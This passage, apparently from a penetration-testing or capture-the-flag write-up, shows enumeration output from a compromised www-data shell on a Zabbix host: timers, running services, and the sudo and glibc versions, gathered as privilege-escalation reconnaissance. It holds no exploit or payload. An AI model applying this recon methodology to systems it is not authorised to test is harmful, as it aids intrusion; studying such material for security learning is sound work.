Fri 2025-04-18 13:25:31 UTC 22h left      Thu 2025-04-17 13:25:31 UTC 1h 9min ago          update-notifier-download.timer update-notifier-download.service
Fri 2025-04-18 13:35:31 UTC 23h left      Thu 2025-04-17 13:35:31 UTC 59min ago            systemd-tmpfiles-clean.timer   systemd-tmpfiles-clean.service
Sun 2025-04-20 03:10:46 UTC 2 days left   Thu 2025-04-17 13:23:03 UTC 1h 11min ago         e2scrub_all.timer              e2scrub_all.service
Thu 2025-04-24 11:06:41 UTC 6 days left   Thu 2024-09-19 11:53:45 UTC 6 months 27 days ago update-notifier-motd.timer     update-notifier-motd.service
 
14 timers listed.
Pass --all to see loaded but inactive timers, too.

Services


www-data@zab:~/html$ systemctl list-units --state=running
  UNIT                              LOAD   ACTIVE SUB     DESCRIPTION
  proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
  init.scope                        loaded active running System and Service Manager
  apache2.service                   loaded active running The Apache HTTP Server
  cron.service                      loaded active running Regular background program processing daemon
  dbus.service                      loaded active running D-Bus System Message Bus
  getty@tty1.service                loaded active running Getty on tty1
  irqbalance.service                loaded active running irqbalance daemon
  mage-ai.service                   loaded active running Mage AI Service
  ModemManager.service              loaded active running Modem Manager
  multipathd.service                loaded active running Device-Mapper Multipath Device Controller
  mysql.service                     loaded active running MySQL Community Server
  networkd-dispatcher.service       loaded active running Dispatcher daemon for systemd-networkd
  open-vm-tools.service             loaded active running Service for virtual machines hosted on VMware
  packagekit.service                loaded active running PackageKit Daemon
  polkit.service                    loaded active running Authorization Manager
  rsyslog.service                   loaded active running System Logging Service
  snapd.service                     loaded active running Snap Daemon
  ssh.service                       loaded active running OpenBSD Secure Shell server
  systemd-journald.service          loaded active running Journal Service
  systemd-logind.service            loaded active running User Login Management
  systemd-networkd.service          loaded active running Network Configuration
  systemd-resolved.service          loaded active running Network Name Resolution
  systemd-timesyncd.service         loaded active running Network Time Synchronization
  systemd-udevd.service             loaded active running Rule-based Manager for Device Events and Files
  udisks2.service                   loaded active running Disk Manager
  unattended-upgrades.service       loaded active running Unattended Upgrades Shutdown
  vgauth.service                    loaded active running Authentication service for virtual machines hosted on VMware
  zabbix-agent.service              loaded active running Zabbix Agent
  zabbix-server.service             loaded active running Zabbix Server
  dbus.socket                       loaded active running D-Bus System Message Bus Socket
  multipathd.socket                 loaded active running multipathd control socket
  snapd.socket                      loaded active running Socket activation for snappy daemon
  syslog.socket                     loaded active running Syslog Socket
  systemd-journald-audit.socket     loaded active running Journal Audit Socket
  systemd-journald-dev-log.socket   loaded active running Journal Socket (/dev/log)
  systemd-journald.socket           loaded active running Journal Socket
  systemd-networkd.socket           loaded active running Network Service Netlink Socket
  systemd-udevd-control.socket      loaded active running udev Control Socket
  systemd-udevd-kernel.socket       loaded active running udev Kernel Socket
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
39 loaded units listed.
  • apache2.service
  • mage-ai.service
  • mysql.service
  • packagekit.service
  • zabbix-agent.service
  • zabbix-server.service

Sudo Version


www-data@zab:~/html$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9

Sudo version 1.9.9

Glibc Version


www-data@zab:~/html$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.35-0ubuntu3.8) 2.35